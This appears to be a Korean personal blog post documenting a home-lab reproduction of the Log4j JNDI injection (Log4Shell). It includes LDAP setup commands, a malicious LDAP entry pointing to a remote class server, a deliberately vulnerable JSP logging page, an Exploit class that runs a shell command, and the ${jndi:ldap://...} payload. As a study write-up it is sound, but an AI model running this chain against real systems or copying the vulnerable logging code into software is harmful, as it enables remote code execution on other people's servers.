전체 글에 해당하는 글 119

Log4j 취약점 테스트-1

보안공부/기타|2024. 11. 22. 02:34

Log4j 테스트 사이트도 만들었고, ldap 서버도 만들었으니 실제 취약점을 테스트 해볼 것이다.

 

 

1. ldap에 자바 적용하기

sudo ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/ldap/schema/java.ldif

 

ldap 서버에서 JNDI Lookup 요청에 응답할 수 있도록 LDAP 엔트리에 javaClassName, javaCodeBase, javaFactory 속성을 추가한다.

 

2. Exploit.ldif 만들어서 적용하기

dn: cn=Exploit,dc=test,dc=june
objectClass: top
objectClass: javaContainer
#objectClass: javaObject
cn: Exploit
javaClassName: Exploit
javaCodebase: http://192.168.0.14:9999/
javaFactory: Exploit

 

ldap 서버에 악성 객체를 추가하는 ldif 파일을 만든다.

 

sudo ldapadd -x -D "cn=admin,dc=test,dc=june" -W -f exploit.ldif

 

만든 ldif 파일을 추가한다.

 

3. 테스트 파일 만들기

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="org.apache.logging.log4j.LogManager" %>
<%@ page import="org.apache.logging.log4j.Logger" %>
<!DOCTYPE html>
<html>
<head>
    <title>Logging Example</title>
</head>
<body>
    <form method="post">
        <label for="logMessage">Enter a message to log:</label>
        <input type="text" id="logMessage" name="logMessage">
        <button type="submit">Submit</button>
    </form>

<%
    // Logger 설정
    Logger logger = LogManager.getLogger("MyLogger");

    // 사용자 입력 값 처리
    String logMessage = request.getParameter("logMessage");
    if (logMessage != null && !logMessage.trim().isEmpty()) {
        logger.error("User input logged as error: " + logMessage);
        out.println("<p>Logged message: " + logMessage + "</p>");
    }
%>

</body>
</html>

 

입력을 받아서 logger.error로 로그에 쓰는 간단한 페이지이다.

 

4. Exploit.class 만들기

 

먼저 Exploit.java를 만든다

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("touch /tmp/log4j-exploit");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

/tmp 폴더에 파일을 생성하는 코드이다.

javac Exploit.java

 

javac Exploit.java를 통해 Exploit.class를 만든다

적당한 폴더에 넣고 아래의 명령을 통해 서버를 구동한다.

 python3 -m http.server 9999

 

 

5. 테스트

내가 넣어본 값이다.

${jndi:ldap://192.168.0.14:389/cn=Exploit,dc=test,dc=june}

 

그럼 위와 같이 메시지에 남는다.

 

 

다른 값을 넣었을 때와는 달리 뭔가 되는 것 같긴 한데, 아쉽게도 tmp 폴더에 파일이 생성되지는 않았다.

좀 더 알아봐야 할 것 같다....

 


24/11/23 추가

 

https://ssjune.tistory.com/154

에서 기존의 코드를 분석한 결과 내가 ldif 파일을 잘 못 만들었다는 걸 알았다.

 

2. Exploit.ldif 만들어서 적용하기

dn: cn=Exploit,dc=test,dc=june
objectClass: javaContainer
objectClass: javaObject
objectClass: javaNamingReference
cn: Exploit
javaClassName: Exploit
javaCodebase: http://192.168.0.14:9999/
javaFactory: Exploit

ldif 파일을 위처럼 만들고 추가해야 한다.

 

ldapdelete -x -D "cn=admin,dc=test,dc=june" -W "cn=Exploit,dc=test,dc=june"

위 명령어로 Exploit ldif 등록한 것을 제거할 수 있다.

 

sudo ldapadd -x -D "cn=admin,dc=test,dc=june" -W -f exploit.ldif

그리고 다시 추가를 한다.

 

그리고 다시 시도하면...

 

/tmp 폴더에 log4j-exploit 파일이 생성된 것을 확인할 수 있다.

 


 

기타. 명령어

# java ldif 삭제
su root
cd /etc/ldap/slapd.d/cn\=config/cn\=schema
rm cn\=\{4\}java.ldif

# exploit ldif 삭제
ldapdelete -x -D "cn=admin,dc=test,dc=june" -W "cn=Exploit,dc=test,dc=june"


# 확인
sudo ldapsearch -x -LLL -b "dc=test,dc=june"
sudo ldapsearch -Y EXTERNAL -H ldapi:/// -b "cn=schema,cn=config" "(objectClass=*)"

#java ldif 재적용
sudo ldapadd -Y EXTERNAL -H ldapi:/// -f java.ldif

# exploit ldif 재적용
sudo ldapadd -x -D "cn=admin,dc=test,dc=june" -W -f exploit.ldif

# 입력값 시도
${jndi:ldap://192.168.0.14:389/cn=Exploit,dc=test,dc=june}
반응형

'보안공부 > 기타' 카테고리의 다른 글

Log4j 취약점 테스트-2  (0) 2024.11.23
ldap 설치  (0) 2024.11.18
Log4j 설치  (0) 2024.11.15
JSP 테스트  (0) 2024.11.15

댓글()